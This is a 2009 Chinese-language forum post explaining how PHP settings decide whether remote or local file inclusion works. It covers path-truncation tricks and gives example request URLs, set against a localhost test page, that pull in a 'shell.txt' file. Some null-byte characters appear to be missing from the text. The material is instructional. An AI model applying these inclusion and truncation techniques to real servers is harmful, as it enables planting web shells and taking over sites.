125243102 发表于 2009-12-25 11:38:48

PHP配置在脚本安全中的运用 ,

1,PHP配置在文件包含中的运用
在文件包含典型的两种格式如下:



(1)include("$_GET['dir']/test.php");
allow_url_fopen on
allow_url_include on
决定是LFI还是RFI,必须有这两个条件才能成功。
对于PHP4则只有allow_url_fopen一个选项就够了。



要达到文件包含就必须先截断后面的/test.php
NULL截断目前发现有三种方法:
a.使用截断
运用场合:Magic_quote_gpc为off
b.使用?截断
运用场合:RFI && Magic_quote_gpc为off
c.当路径长度达到一定数量限制时就能截断
(详细请参考:http://bbs.wolvez.org/topic/22/)Windows 240 Linux 4096
Get方式可以提交最大长度16000 ,截断数据长度不是问题。
运用场合:均适用



Magic_quote_gpc在注入中的运用我就不说了,这里主要是在文件包含中的运用。
Magic_quote_gpc为on的时候只能用?来截断后面的路劲运用于RFI,不能使用来截断,相当于包含的文件包含了另一个Get请求。
因此?截断不适合运用于LFI。
http://127.0.0.1:81/include.php?dir=http://127.0.0.1:81/shell.txt?
当为LFI时,则可以通过第三种方法来截断,如228个'/'
Magic_quote_gpc为off的时候a、c都能用上。



http://127.0.0.1:81/include.php?dir=http://127.0.0.1:81/shell.txt?
http://127.0.0.1:81/include.php?dir=http://127.0.0.1:81/shell.txt
在Magic_quote_gpc 为on的时候可以使用?来截断后面的路径,相当于另一个Get请求http://127.0.0.1:81/
include.php?dir=http://127.0.0.1:81/shell.txt?



allow_url_fopen   off
allow_url_include off
本地文件包含(LFI)



Magic_Quote_gpc   off
情况下,可以采用和来截断后面的数据。
http://127.0.0.1:81/include.php?dir=shell.txt



(2)直接包含类型
include("$_GET['dir']");
可以直接在dir中指定文件名
http://127.0.0.1:81/include.php?dir=http://127.0.0.1:81/shell.txt
也可本地文件包含
http://127.0.0.1:81/include.php?dir=shell.txt
限制比较少(1)中能用的方法其基本都可以运用
在register_globals为on的情况下,如果变量未初始化则可以达到文件包含的效果。



综上所述:造成文件包含的主要原因在于包含的变量是否会被用户利用,allow_url_fopen/allow_url_include为是造成
RFI或LFI的关键,
Magic_quote_gpc则决定是否能在第(1)种类型中通过截断数据上达到文件包含的效果。
页: [1]
查看完整版本: PHP配置在脚本安全中的运用 ,